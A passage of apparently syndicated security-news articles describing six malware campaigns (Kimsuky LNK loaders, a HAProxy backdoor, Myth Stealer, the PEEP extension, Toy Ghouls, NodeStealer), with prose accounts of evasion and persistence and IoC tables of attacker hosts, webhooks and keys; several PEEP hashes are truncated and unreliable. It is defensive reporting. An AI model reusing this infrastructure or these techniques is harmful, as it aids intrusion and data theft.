Kimsuky has been observed using an AI agent to produce convincing phishing decoys at scale, then hiding malware inside Windows shortcut files. The latest activity shows how ordinary-looking documents can become the first step in compromise.

The campaign begins with spear-phishing messages carrying ZIP archives. Inside is a malicious LNK shortcut disguised as a document, often with a browser-style icon and false details. When opened, it displays a decoy while silently launching PowerShell to fetch additional code.

The 13 samples examined were collected between August 11 and 19, 2026, and used financial and corporate lures. That wider range raises the risk for corporate staff who routinely receive paperwork and financial notices.

Genians researchers identified the activity as a continuation of the Kimsuky-linked Operation GitPower cluster. 

Genians said in a report shared with Cyber Security News (CSN) that the campaign retains GitHub-based command infrastructure while adding evasion and varied decoy formats.

Kimsuky Hackers Use OpenCode AI Agent

The most notable change is evidence of opencode in the Creator and Producer metadata of several PDF lures.

Four documents carried the same August 16 creation timestamp, while their Author field remained set to “anonymous,” supporting the assessment that they were produced automatically rather than assembled one at a time.

The documents were not uniformly polished. Some contained unreplaced placeholder text for payment dates, grace periods, and financial values, a sign that drafts were pushed into use without careful review.

Other PDFs showed HeadlessChrome and Skia/PDF metadata, suggesting a separate workflow that generated HTML content and rendered it into cleaner-looking PDFs.

That combination gives attackers speed without abandoning familiar social engineering. Analysts found 29 retrieved decoy files but only 11 unique documents by MD5, with duplicated content redistributed under randomized names.

Readers can see the earlier context in Kimsuky local LLM phishing lures, where AI-made files were already used to make shortcut-borne attacks appear routine.

Such artifacts can disappear as operators refine their process, so defenders should not use document quality or metadata alone as the test for whether an attachment is safe.

LNK Loaders Hide GitHub-Based Payloads

Every analyzed LNK file launched PowerShell, concealing an encrypted loader in arguments stretching roughly 5,800 to 9,500 characters.

About 300 leading spaces helped keep the command out of sight in the shortcut properties window, while excess padding inflated file sizes to frustrate simple inspection and some automated checks.

After decoding the hidden content, the loader downloads a decoy and a follow-on script from GitHub Raw Content using a hardcoded personal access token.

It then creates randomly named PowerShell files in AppData or Temp, starts PowerShell through conhost.exe --headless, and registers hidden scheduled tasks that impersonate BitLocker, MATLAB, or .NET components.

One Visa-themed variant also pulled code from Pastebin, giving the operators a second delivery route if GitHub access is blocked. The approach builds on North Korea GitHub C2 attacks, where trusted developer platforms were used to blend malicious traffic into ordinary web activity.

Newer variants check for virtual-machine and analysis tools, look for the username “Bruno,” and delete PowerShell command history when they detect a likely research environment.

They also use error documents in some incomplete builds, but the persistence and payload retrieval stages can still run. Comparable LNK PowerShell loader techniques show why opening a file that merely looks like a PDF is not a reliable safety check.

Organizations should quarantine unsolicited ZIP attachments containing LNK files, especially when their icons and descriptions do not match their real type.

Security teams should correlate LNK launches with long command lines, hidden PowerShell, newly created scripts, scheduled-task registration, GitHub Raw requests carrying unusual tokens, and Pastebin access.

This behavior-first approach is more durable than relying on a single domain blocklist or decoy document review, and aligns with lessons from malicious shortcut file campaigns.

Indicators of compromise (IoCs):-

Type	Indicator	Description
MD5	10780939962b54addc9d31f57d80edfc	Malicious sample hash
MD5	1523a2fcc901965ab4568d9fe829e4af	Malicious sample hash
MD5	500e0bc0d7579fb338912770964076fe	Malicious sample hash
MD5	685bfc6b2c29fbc16cfad908894add55	Malicious sample hash
MD5	7a53089053b1381742856a5cf2b95f8b	Malicious sample hash
MD5	8db2f20b719dcb7029d6296505622093	Malicious sample hash
MD5	900e832c10d851bbdef3fb191a15db0e	Malicious sample hash
MD5	a2015665a3e18bf0ef86e3931245c7e6	Malicious sample hash
MD5	bb88940e915b11f6330b7446f6037f5b	Malicious sample hash
MD5	ce5932b88f879f26006df81f2fa7667e	Malicious sample hash
MD5	d0894d4626aae0f96d6b84ca3bb71a36	Malicious sample hash
MD5	e50f2ae7fb03675a1ef58b1cf9cda6d1	Malicious sample hash
MD5	f648bdd3c2cd902e239149de86d43e8f	Malicious sample hash
GitHub account	github[.]com/sven5500	GitHub account linked to campaign infrastructure
GitHub account	github[.]com/montry111	GitHub account linked to campaign infrastructure
GitHub account	github[.]com/jamjack2026	GitHub account linked to campaign infrastructure
GitHub account	github[.]com/urusa4400	GitHub account linked to campaign infrastructure
GitHub account	github[.]com/jamestony88	GitHub account linked to campaign infrastructure
GitHub account	github[.]com/baras6600P	GitHub account linked to campaign infrastructure
GitHub account	github[.]com/choemiyang	GitHub account linked to campaign infrastructure
GitHub account	github[.]com/jeni534	GitHub account linked to campaign infrastructure
URL	pastebin[.]com/raw/gybpx38s	Pastebin-based second-stage payload delivery URL
Email	baras6600@proton[.]me	Campaign-associated email address
Email	choemiyang@hotmail[.]com	Campaign-associated email address
Email	dustinharrise91@outlook[.]com	Campaign-associated email address
Email	jackal3300@proton[.]me	Campaign-associated email address
Email	jametony8@outlook[.]com	Campaign-associated email address
Email	jamjack2026@proton[.]me	Campaign-associated email address
Email	montry111@proton[.]me	Campaign-associated email address
Email	sven5500@proton[.]me	Campaign-associated email address
Email	taini7700@outlook[.]com	Campaign-associated email address
Email	urusa4400@proton[.]m	Campaign-associated email address, recorded exactly as listed in the source

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Kimsuky Hackers Use OpenCode AI Agent to Mass-Produce Phishing Decoys in LNK Attacks appeared first on Cyber Security News.

South Korean automotive and media organizations have been hit by a quiet Linux intrusion toolkit built for long-term access.

The malware hides inside software that manages web traffic, allowing attackers to watch users, steal information, and change pages delivered through compromised servers.

The operation appears designed for patience rather than disruption. Attackers likely entered through a groupware portal or mail server, used the edge server as a bridge into internal systems.

That pattern echoes the risks described in stealthy Linux server intrusions, where hidden access can remain active without drawing attention.

Analysts at Rapid7 identified the toolkit and assessed its link to DPRK-aligned advanced persistent threats with medium confidence.

Rapid7 said in a report shared with Cyber Security News (CSN) that the activity likely dates to early 2025, although the precise initial entry point and any exploited vulnerability have not been confirmed.

The affected organizations had ports 80, 443 and 25 exposed, with a groupware login service on port 443 and mail services on port 25.

These systems sit at the network edge, making their compromise serious: an intruder can collect credentials, move deeper inside, and potentially target visitors passing through that server.

DPRK-Linked Hackers Deploy Ted Backdoor

The central component, called ted backdoor, is a modified build of HAProxy 2.8.12, software commonly used to direct website traffic.

Instead of acting like a separate malicious program, it is compiled into the legitimate load balancer and uses its built-in features to inspect decrypted web requests while normal traffic continues to flow.

That placement gives the operators unusual control. The implant can capture session cookies and selected request details, run commands, upload or download files, and inject a malicious script into pages served to chosen visitors.

Its hidden command channel uses a request for a picture-like path, while its code also reduces HAProxy connection counters to make activity harder to spot. Researchers found an SSH keylogger as well as altered versions of crond, agetty, atd, sshd and polkitd.

The stager checks the operating system and whether HAProxy or cron is present before replacing the cron service, copying timestamps from a legitimate SSH binary, and removing chosen words from logs.

This reflects the same concern raised by Linux backdoors stealing SSH credentials: trusted system components can become the attacker’s hiding place.

CurlRAT supplies the remote-control layer. It polls attacker infrastructure for tasks, can execute commands, send system details, install added payloads, and open reverse or interactive shells with elevated privileges. A watchdog monitors HAProxy and reports whether the service starts, stops, reloads, or restarts.

Long-Term Espionage Risks and Defenses

Rapid7 said the combination of credential theft, web-session collection, selective page changes, and traffic redirection points to long-term espionage.

The targeting of South Korean media and automotive firms also fits a regional intelligence-gathering pattern. Readers following Kimsuky espionage activity in Korea will recognize why exposed groupware and stolen credentials remain valuable footholds.

The operators used basic XOR encryption and a substitution method to protect configurations and communications. Their command-and-control domains imitate image delivery services, including one that resembles a popular Korean web platform’s static-content naming style.

Rapid7 also noted overlap in timing and delivery concepts with other DPRK activity, but said more evidence is needed for a firmer attribution. Defenders should review edge systems that handle web traffic, encryption, mail, or runtime modules.

They should compare deployed HAProxy and Linux service binaries against known versions, inspect unexpected shared libraries and cron changes, and rotate credentials that may have passed through affected servers. Independent network monitoring matters because logs on a compromised device may have been altered.

Teams should also investigate unusual requests to image-like paths, unexpected outbound connections from load balancers, and web responses that change only for particular visitors.

Regular patching of groupware and mail servers reduces likely entry opportunities. As shown by recent Asia-focused Linux espionage, post-compromise tools can turn a single exposed server into a durable route across an organization.

Indicators of Compromise (IoCs):-

Type	Indicator	Description
SHA-256	5db1b6d52faf60b4f32d6fd0c7c938e4d05d29a14c32ded4a9668357c08b6a91	CurlRAT stager
SHA-256	09739441ed4599bac2f8159028f772f71e4b25c8badfff95574e56d7384f3dbe	CurlRAT stager variant
SHA-256	fea1bc36632c71e5a839803469ef60ac47595d36b2c50934ac109ade6df06e61	CurlRAT stager variant
SHA-256	83f7d565b0465546027052b597af46eae3a199e7a91fcc2ab936341147349130	CurlRAT
SHA-256	7007a78d50a993cb174c685eba96eb442c9507e38fd9d8e5dffc712f613ec110	CurlRAT
SHA-256	6cf1b5e92a9c0756f597a5ddefb38eba32961c52efac7ab2a0aa52c639a8fc53	CurlRAT
SHA-256	ed72f4cd8d467b5c5d95ae6aeca4aaeea14d79565d379c1ca5871a714727be16	CurlRAT
SHA-256	feeea9d0bf6ae7396d28271baa51ae50df5169ce5d32a516865856f91abc50b3	CurlRAT
SHA-256	d53c760c23b4405eb04ad0f20ead375440344b3bdf1fb7854ed12e40d155eabe	Trojanized cronie binary
SHA-256	2f02b09d61d432134e994ad671258f523bbf289ae6091fd4eae192c60bd51b6f	Trojanized agetty binary
SHA-256	8f30b57928934ae67478d0e690c91d046e35a638da098d02922a4a88a0fdb66c	Trojanized atd binary
SHA-256	a1d8af3a6acb731f07f72040eccb3450c1c83d40e29f736c2a63d35388660be4	Trojanized polkitd binary
SHA-256	12810854c8b2c391b23e2e18b013e873d0369b0637aa3cf993136c07188ba3b8	CurlRAT sample
SHA-256	009a1e2d7a582a24e50cf2ffc2a005482c8e38f22bf5ed416053855f8d054e1e	CurlRAT sample
SHA-256	4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5	SSH keylogger
SHA-256	94630b96f628c96a6bff7904b40ffc9ad67c86f8a4ff6080c3b524831c93f402	Ted backdoor
SHA-256	72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558	Modified HAProxy build containing ted backdoor
SHA-256	a8bfab4de81a1acb04aacdf757346946b0f5e30f0c9f402004016d0e425119c7	Ted backdoor sample
Domain	img.monderhouse.space	CurlRAT command-and-control infrastructure
Domain	img.smartnords.site	Command-and-control infrastructure
Domain	img.darklights.store	Backup CurlRAT configuration host
Domain	img.responsive.pstatic.autos	Command-and-control infrastructure masquerading as static content
Domain	img.socialteams.store	Command-and-control infrastructure
Domain	img.worksongo.store	Command-and-control infrastructure

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post DPRK-Linked Hackers Deploy Ted Backdoor and CurlRAT Against South Korean Firms appeared first on Cyber Security News.

A counterfeit Minecraft optimisation mod is installing Myth Stealer, malware that can steal browser passwords, cookies and data. Its malicious file looks useful because features work as advertised, giving players little reason to suspect a hidden threat.

The campaign exploits users seeking performance improvements from unofficial add-ons. Once installed, the fake mod starts a multi-stage infection chain that leads to a remote tool that lets its operator collect data and broadly control a Windows device.

Analyst devmihaylov identified the malware while examining samples obtained from a buyer of the commodity stealer.

devmihaylov said in a report shared with Cyber Security News (CSN) that the files initially received zero detections from VirusTotal, showing how lightly distributed threats can evade reputation-based checks.

Minecraft players remain frequent targets for malware distributors. Coverage of fake Minecraft Fabric mods showed how a harmless-looking game download can become the first step in account theft and compromise. The threat pairs a decoy with a loader designed to blend into a gaming setup.

Fake Minecraft Mod

The Java archive presents itself as a companion to a legitimate optimisation project and includes 12 working modules that change game performance settings.

A hidden thirteenth component waits briefly, gathers system information, then retrieves and starts the next stage in the background. That approach matters because victims may see the expected optimisation behavior and conclude the download is safe.

The loader uses a large executable built around a standard runtime and brings a private Java environment, letting the payload run even where Java is not otherwise installed.

Before launching the final stage, the program displays a polished administrator-rights request resembling a normal Windows prompt.

Accepting it can give the malware greater access and helps its installation. It also contains retry logic intended to cope with security software interrupting the process.

The final component is heavily disguised to slow investigation. Its code uses reserved Windows-style names, encrypted text and obstacles that can break basic extraction tools.

This concealment, combined with an apparently genuine mod, makes a quick visual check of a download an unreliable safeguard.

Credential theft and remote control

Myth Stealer targets data stored by Chromium-based browsers and Firefox, including saved usernames, passwords, browsing records and active session cookies.

Stolen cookies can be especially damaging because they may let an attacker reuse an already authenticated web session. Readers can see why browser passwords and cookies remain valuable targets in similar data-theft operations.

The malware also collects system details, chat content, clipboard data and files, can capture screenshots or webcam material.

Its remote-control features include running commands, downloading or deleting files, managing processes and setting itself to start again after a reboot.

Researchers also found functions that could disrupt a victim. These include changing display settings, interfering with the mouse or keyboard, showing misleading full-screen messages and attempting to restrict access to security tools.

They can complicate recovery and pressure users to follow an attacker’s instructions. The operation used web-based reporting channels to receive stolen information, a technique documented in coverage of Discord webhook abuse across other malware campaigns.

Although the analysed command infrastructure was no longer responding when reported, inactive servers do not erase the risk to systems already infected.

Players should obtain mods only from trusted project pages, confirm the developer and file integrity, and avoid downloads promoted through chat links, videos or unofficial file-sharing pages.

This echoes guidance from reporting on trojanized Minecraft mod downloads, where social engineering is central to reaching players.

Anyone who installed a suspicious mod should remove it, run a full security scan and change passwords from a clean device.

They should also sign out of important accounts to invalidate sessions, review browser extensions and look for unfamiliar programs that start automatically. An unexpected administrator prompt during mod installation is a serious warning sign.

Indicators of compromise (IoCs):-

Type	Indicator	Description
SHA-256	2003869ed68eaa053f63bf6a5093050f52d520da877c017a4f62658000bba2a3	MythStealer.jar stage-one dropper
SHA-256	38789d9ac5f8cad13f510bc9d0e47809777bef913f329a9f526a11d33aeca09d	DiscordNitroGenerator.exe stage-two container
SHA-256	bd4eb81a12526daa040ceccc14135006dfd9792e7c21ec5fab9c2cb0400f6718	client.jar, Myth Stealer 3.2-FIX payload
File name	MythStealer.jar	Counterfeit Minecraft mod and stage-one dropper
File name	DiscordNitroGenerator.exe	Stage-two Node.js-based container
File path	%APPDATA%\Microsoft\Windows\javaw.exe	Dropped stage-two executable
File path	%TEMP%\webcam-<timestamp>.jpg	Webcam-capture output
File name	sqlitejdbc.dll	Native library loaded from the temporary directory
File name	jnidispatch.dll	Native library loaded from the temporary directory
URL	hxxp[://]ip-api[.]com/json/?fields=query,countryCode	Host geolocation lookup
URL	hxxps[://]www[.]dropbox[.]com/scl/fi/tvvsyk7x5kkbdfyuw7zh7/DiscordNitroGenerator	Second-stage download location
IP address	146[.]19[.]191[.]11	Command-and-control infrastructure
URL path	hxxp[://]146[.]19[.]191[.]11/s	Command server-list endpoint
URL path	hxxp[://]146[.]19[.]191[.]11/t	Telemetry endpoint
URL path	hxxp[://]146[.]19[.]191[.]11/l	Upload endpoint
URL	hxxp[://]146[.]19[.]191[.]11/api/injection	Discord injection-script endpoint
Domain	ays[.]gamepazarin[.]com	Backup command-and-control domain
URL	hxxps[://]canary[.]discord[.]com/api/webhooks/1545915606111625276/LwbwHWZBbQTP	Stage-one reporting webhook
URL	hxxps[://]discord[.]com/api/webhooks/1476291391826034944/xXOpsSG_GM0Hvf74rKbqw	Embedded exfiltration webhook
URL	hxxps[://]discord[.]com/api/webhooks/1476291402403942472/Let5i1nhtIG1cScI3vJmp	Embedded exfiltration webhook
URL	hxxps[://]discord[.]com/api/webhooks/1476291404757078189/NI-dMuvT_02i7Ee-HgX3v	Embedded exfiltration webhook
URL	hxxps[://]discord[.]com/api/webhooks/1476291406283935865/GIRbMQaDzYFV1qH95IxAo	Embedded exfiltration webhook
URL	hxxps[://]discord[.]com/api/webhooks/1476291406795509872/Qxjec0dl9zszu2giJYC3R	Embedded exfiltration webhook
Registry value	HKCU\...\Policies\System\DisableTaskMgr	Disables Windows Task Manager
Registry path	HKCU\Control Panel\Cursors	Used for cursor replacement
Registry path	HKCU\Software\Microsoft\ColorFiltering	Used for screen-colour inversion
Product identifier	mythkg-exe 2.21	Launcher product name and version
Build identifier	myth-gee9ute7hb	Build identifier embedded in payload
C2 keys	rawr, owo, uwu	Obfuscated server-list configuration keys

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Fake Minecraft Mod Deploys Myth Stealer RAT to Steal Browser Credentials and Cookies appeared first on Cyber Security News.

PEEP, a malicious Chrome extension posing as Smart Bookmarks, can steal active login sessions and turn an already compromised Windows computer into a remote backdoor.

The finding shows how a browser add-on can become far more dangerous than a simple data thief when it gains a path to the operating system.

The toolkit does not appear to provide its own way into a device. Instead, attackers need prior code execution or administrative access, then silently place it in Chrome or Edge profiles.

Its installers can alter browser settings so the extension launches without the usual store checks, approval prompts, or visible warnings.

Analysts at SOCRadar identified the operation as PEEP, a Chromium-based post-compromise toolkit derived from the open-source RedExt project.

SOCRadar said in a report shared with Cyber Security News (CSN) that the researchers found a primary build disguised as Smart Bookmarks, version 1.3.0, along with a related testing variant and an exposed development repository.

The scale of confirmed victim impact remains unclear. A server status snapshot recorded 34 agent entries, 10 active sessions, and 507 data records, but test identifiers mean those figures cannot prove the number of infected devices.

Still, the design creates a serious risk because stolen session cookies may let an intruder enter accounts without needing a password again.

Malicious Chrome Extension

Once active, PEEP runs inside the browser and asks for broad access to tabs, cookies, history, bookmarks, downloads, browser settings, scripting, and every website.

It gathers browsing history, open-tab details, session cookies, form data, clipboard contents, screenshots, and local or session storage, creating a broad view of a victim’s online activity.

The session-theft capability is especially concerning because a valid cookie proves that a user has already signed in.

As explained in this guide to stolen browser cookie risks, an attacker who obtains that token may be able to reuse an active session and sidestep a later password or MFA prompt until the session is revoked.

PEEP also accepts commands to open pages, inject JavaScript, change proxy settings, and capture page content. It contacts its command server at regular intervals using unencrypted HTTP, allowing the operator to send tasks and receive collected data.

That behavior resembles other malicious browser add-on campaigns that abuse extensions to monitor sensitive activity.

The native-messaging bridge is what changes the threat from browser monitoring into host control. The browser extension can call a companion Windows program, enabling shell commands, file operations, and discovery of running processes and services under the current user account.

Persistence Raises Cleanup Challenge

PEEP uses several methods to remain in place after installation. Its scripts can forge Chrome Secure Preferences integrity values, use enterprise force-install policies, or sideload the extension.

It can also exploit a ScriptCache fallback, leaving apparently harmless source files while Chrome reloads a previously compiled malicious service worker.

That layered approach means removing the visible extension alone may not be enough. Security teams should identify the listed extension IDs, remove the associated native-messaging host and local artifacts, and review browser policies and registry entries.

The finding follows earlier cases in which a native messaging host backdoor turned Chrome into a route for device-level control.

Organizations should block the identified infrastructure, restrict traffic to the exposed services, and investigate browser processes or PowerShell activity that modifies Secure Preferences files.

Strict extension allow-lists, disabled developer mode, restrictions on external sideloading, and approval of only trusted native-messaging hosts can reduce the chance of a similar installation succeeding.

Defenders should also treat a suspected PEEP infection as both an endpoint and identity incident. Remove the malware, end active sessions, rotate affected credentials, and examine account activity for misuse.

Phishing-resistant MFA and browser protections for stored credentials add useful friction, while the recent Chrome extension supply chain attacks show why every installed add-on deserves careful ongoing review.

Indicators of compromise (IoCs):-

Type	Indicator	Description
C2 host	206.237.30.232	Hardcoded command-and-control, payload distribution, and staging host
Domain	xfjcc.fun	Reported C2 domain
Domain	new.xfjcc.fun	Reported C2-related subdomain
Domain	newadmin.xfjcc.fun	Reported C2-related subdomain
Domain	newapi.xfjcc.fun	Reported C2-related subdomain
C2 service	tcp/5001	C2 control panel and agent API service
Staging service	tcp/5002	Exposed development and payload-staging repository
C2 endpoint	/api/register	Agent registration endpoint
C2 endpoint	/api/commands?agent_id=<id>	Command polling endpoint
C2 endpoint	/api/exfil	Data-exfiltration endpoint
C2 endpoint	/api/agents/<id>/heartbeat	Agent heartbeat endpoint
C2 endpoint	/api/agents/<id>/task_result	Task-result endpoint
C2 endpoint	/api/agents/<id>/data	Observed candidate alternate data channel
C2 endpoint	/api/extension_update/<id>	Extension update endpoint
C2 endpoint	/api/extension_crx/<id>	Extension delivery endpoint
C2 endpoint	/health	Unauthenticated server status endpoint
HTTP header	X-PEEP-Agent-Key	Agent identification header
HTTP header	X-PEEP-Agent-Id	Agent identification header
HTTP authentication realm	realm="PEEP"	Control-panel HTTP Basic authentication realm
Extension ID	ejkndncpkdcjcikfhiamcdehdoegilbj	Primary Smart Bookmarks payload
Extension ID	bibjjhidpdmfcbkodddndmoejcloobdh	Alternate smoke-agent variant
Extension ID	hpjgilbbdmfcnaapjbofmmmjjfijbdki	Reported related extension identifier
Extension ID	akhljhifabhkcoboncoiekfpdodjaack	Reported related extension identifier
Extension ID	eljagiodakpnjbaceijefgmidmpmfimg	Reported related extension identifier
Native-messaging host	com.peep.lab	Native host registered for browser-to-host communication
File	nm_host.exe	Windows native-messaging host binary
File	nm_host.js	Native-host script
File	install_silent.ps1	Silent installation script
File	patch_secure_prefs.ps1	Browser preference-forgery script
File	force_enable.ps1	Extension re-registration script
File	patch_secure_prefs_linux.py	Linux preference-forgery script
File	extension.pem	Extension signing private key included in recovered packages
File	CHROME150-LIVE-RESULT.md	Development and testing log
File	background.js	Extension service-worker script
File	content.js	Extension content script
Static key	peep_nm_host_aes256_key_32bytes!	Embedded native-host encryption key
Local path	%LOCALAPPDATA%\PEEP	Local staging and artifact directory
Registry path	HKCU/HKLM\...\NativeMessagingHosts\com.peep.lab	Native-messaging host registration location
File pattern	*.bak_peep_hmac_*	Backup artifact associated with preference modification
File pattern	*.bak_peep_enable_*	Backup artifact associated with extension enabling
Distinctive string	Smart Bookmarks	Malicious extension display name
Distinctive string	PEEP Client	Internal toolkit name
Distinctive string	AI · 法客-P	C2-panel string
Distinctive string	redext-compatible	Framework-related identifier
Agent key	a6dfab5a6e510ece	Reported embedded agent key
Agent key	348e99545a69b184	Reported embedded agent key
SHA-256	86a5fb2f14d175d1c13a7b49b55b968b2a5e96afc944d85a31b3	Reported PEEP-related hash value
SHA-256	6700e30a3224248085d30f2eb727cea28dec288355fca675344	Reported PEEP-related hash value
SHA-256	9402c0198ae5c8bed14cdeaabe7e8b25625debbc62a900cfcdb	Reported PEEP-related hash value
SHA-256	8edd653910f3217c96a603e8ce9e5e409d3b8674476f22e0a3a	Reported PEEP-related hash value
SHA-256	87db7138a80117ddf2989827c1dde09ee73c7a252d511c74ed66	Reported PEEP-related hash value
SHA-256	259d8eddb6caf509d7bffa2b4c0dd7d89668800c870f529729a	Reported PEEP-related hash value
SHA-256	e46aee4ca43ba66666f6572c62365cf57642f2cf1f6eca00fcf8e	Reported PEEP-related hash value
SHA-256	f031c00f592aa5e98893b4532f743362fed7fb0a485e8a3c0ad4	Reported PEEP-related hash value
SHA-256	a43bf7f81507c8f9d0942fed331e7590a43044a6d219ec100597	Reported PEEP-related hash value
SHA-256	b4e3ca8f44477b9ade1272f92516202f83a80219c8bd6176527a	Reported PEEP-related hash value
SHA-256	8e988b915b75dd749e3f4e1ca7ee21746885b4fe34e8a246e6f1	Reported PEEP-related hash value
SHA-256	9c6b269e5087a40b4552f72e9ff13d9b39e433af5075ad68f57e	Reported PEEP-related hash value
SHA-256	207e0d47c4e5493ef7313eb1faeb1c6195923c89f263e548609a	Reported PEEP-related hash value

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Malicious Chrome Extension Can Steal Login Sessions and Turn PCs Into Remote Backdoors appeared first on Cyber Security News.

A financially motivated threat group known as Toy Ghouls has begun using two custom Windows backdoors that communicate through popular messaging and broker services.

The tools give attackers a discreet way to run commands, collect system details, and maintain control over compromised devices.

The campaign marks a change for the group, which had previously relied heavily on public tools and leaked ransomware builders.

Its move to custom malware suggests a broader effort to stay inside victim networks longer while making activity harder for security teams to spot.

Analysts at Securelist identified the malware in early July 2026 and linked it to Toy Ghouls, also tracked as Bearlyfy, Laboo.boo, and Feral Wolf. The group has targeted Russian organizations since 2025 and has previously been associated with its own GenieLocker ransomware.

The new backdoors are called mqtt-bird-agent 0.1.0 and matrix-bird-agent 0.1.0. They are delivered after attackers gain access to an organization, showing how a small initial breach can develop into a persistent and serious compromise.

Kaspersky said in a report shared with Cyber Security News (CSN) that the tools provide full control over an infected Windows device.

Hackers Use Popular Messaging Services

Toy Ghouls uses Windows Remote Management, or WinRM, to place the backdoors and their configuration files on already compromised systems.

The attackers use Evil-WinRM and WinRM-fs, tools that can help move files and run remote commands across Windows environments.

WinRM is widely used for legitimate administration, which can make malicious use difficult to identify without close monitoring.

Organizations have faced similar risks from Windows Remote Management abuse, where attackers use valid access and remote sessions to move deeper into a network. The HiveMQ version uses the public broker.hivemq.com MQTT service as its command-and-control channel.

It reports whether a device is online, sends information such as processor usage and free memory, and retrieves instructions that are then run through a hidden PowerShell process.

Using a broker service allows attackers to blend malicious traffic with normal internet activity. The approach resembles an earlier MQTT command channel used by WailingCrab, demonstrating why familiar cloud and messaging infrastructure can complicate network investigations.

The second version uses an attacker-controlled Element server based on the Matrix protocol. It sends device status messages to a designated room, receives commands from an account called panel-bot, and executes those instructions through the Windows command line.

Both variants can run interactively or install themselves as Windows services, allowing them to start again after a reboot. This persistence method makes the infection more dangerous because an attacker may regain access even after the original remote session has ended.

Persistence and Defensive Response

The malware stores its settings in a config.toml file before protecting sensitive fields with encryption tied to the infected computer.

On the Element variant, the file is deleted after first use and the information is moved into the Windows registry, reducing the number of obvious artifacts left on disk.

Security teams should review WinRM access, limit it to approved management systems, and investigate unusual remote PowerShell activity.

They should also watch for unexpected services named cplsupport or wtas, suspicious configuration files in ProgramData folders, and outbound traffic involving the listed messaging infrastructure.

Administrators should treat remote-management credentials as high-value assets and enforce strong authentication for privileged accounts.

Recent incidents involving the Teams and Quick Assist campaign show how social engineering and trusted Windows tools can be combined to create a path toward wider network access.

The discovery also reinforces the value of checking for quiet backdoor behavior, rather than looking only for known ransomware activity.

A recent Windows backdoor investigation similarly highlighted how attackers can minimize visible network signals while waiting for instructions.

Toy Ghouls’ use of MQTT and Element does not mean the services themselves are malicious. Instead, the case shows how threat actors can misuse legitimate or common technology to hide command traffic, gather system data, and keep control of compromised Windows systems for longer periods.

Indicators of compromise (IoCs):-

Type	Indicator	Description
File name	cplsupport.exe	HiveMQ-based backdoor executable
MD5 hash	BFADBEEE63A4F0BF19EC9DEB8FA58F58	Hash associated with cplsupport.exe
File name	wtass.exe	Element-based backdoor executable
MD5 hash	7916C33688385525078BEE504C90F359	Hash associated with wtass.exe
File name	config.toml	Backdoor configuration file
Registry key	HKLM\Software\synapse\Config\SealedConfig	Stores sealed Element backdoor configuration
Registry key	HKLM\Software\SynapseAgent\metrics_interval	Stores Element variant metrics reporting interval
Service name	cplsupport (Problem Reports Control Panel)	Service used by the HiveMQ variant
Service name	wtas (Windows Telemetry Aggregator Service)	Service used by the Element variant
Domain	broker.hivemq.com	Legitimate MQTT broker abused for command-and-control communications
Domain	ip-api.com	Legitimate service queried to identify the victim system’s public IP address and country
Domain	meet.element[.]tw	Attacker-controlled Element server used for command-and-control

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Keep your SOC up to date on active malware & phishing within 24h of their emergence. Try ANYRUN to prevent incidents with early detection.

The post Hackers Use Popular Messaging Services to Control New Windows Backdoors appeared first on Cyber Security News.

NodeStealer has returned with a more invasive toolkit. The Python-based information stealer can now record keystrokes, watch copied text, and capture victims’ screens, turning an account-stealing infection into continuous surveillance.

The change raises the stakes for people whose browsers hold work, banking, or social-media access. First tracked in 2023, NodeStealer initially focused on sensitive browser data and Facebook accounts.

It later widened its interest to Facebook Ads Manager accounts and payment-card information. The latest activity mainly affected victims in Asia and North America, with financial services the leading sector, but the campaign crossed several industries.

Netskope researchers identified the upgraded variant in August 2026 and said it adds spyware functions alongside the earlier theft features.

Netskope said in a report shared with Cyber Security News (CSN) that the researchers also found signs that some new code may have been produced with AI assistance.

The report does not identify a confirmed initial delivery method, so organizations should avoid assuming a single infection route.

What is clear is the malware’s objective after execution: collect enough credentials, session data, personal details, and screen content to support fraud, impersonation, or follow-on account takeover.

NodeStealer Can Now Record Everything Victims Type

The most worrying addition is a keylogger that uses Python’s pynput library to monitor keyboard input.

It saves captured text in a temporary file, sends it to the primary Telegram command-and-control channel every 120 seconds, and then clears the file’s contents. The logging is designed to continue indefinitely.

That can expose passwords, search terms, customer data, private messages, and other information that users enter manually. Clipboard monitoring fills a similar gap by collecting plain text copied and pasted into the device.

Readers following Snake Keylogger’s capture techniques will recognize how this combination gives criminals visibility beyond saved browser credentials.

NodeStealer also takes a screenshot when it runs and another before its screenshot function finishes, transmitting both images through Telegram.

A screen capture can reveal data that may never reach the clipboard or keyboard, including dashboards, recovery codes, open documents, and active conversations.

The separation of stolen material across two Telegram bots may also make disruption harder. One bot receives an archive of browser credentials, passwords, and cookie databases, while the other receives Facebook-specific data.

This approach resembles other Telegram bot driven malware operations that abuse legitimate messaging infrastructure for attacker communications.

Facebook Data Theft Expands

The newest samples query more than 20 Facebook Graph API endpoints, up from two in previous versions.

Rather than only checking an account, the malware seeks a detailed picture of the person managing it, covering identity details, contacts, interests, posts, pages, advertising assets, business records, integrations, and login-related data. For companies that run advertising campaigns, the impact can extend beyond one employee’s profile.

Access to business and Ads Manager information could help attackers run unauthorized ads, steal budgets, target colleagues, or make convincing social-engineering approaches. The risk mirrors Facebook advertising account theft reported in other malware campaigns.

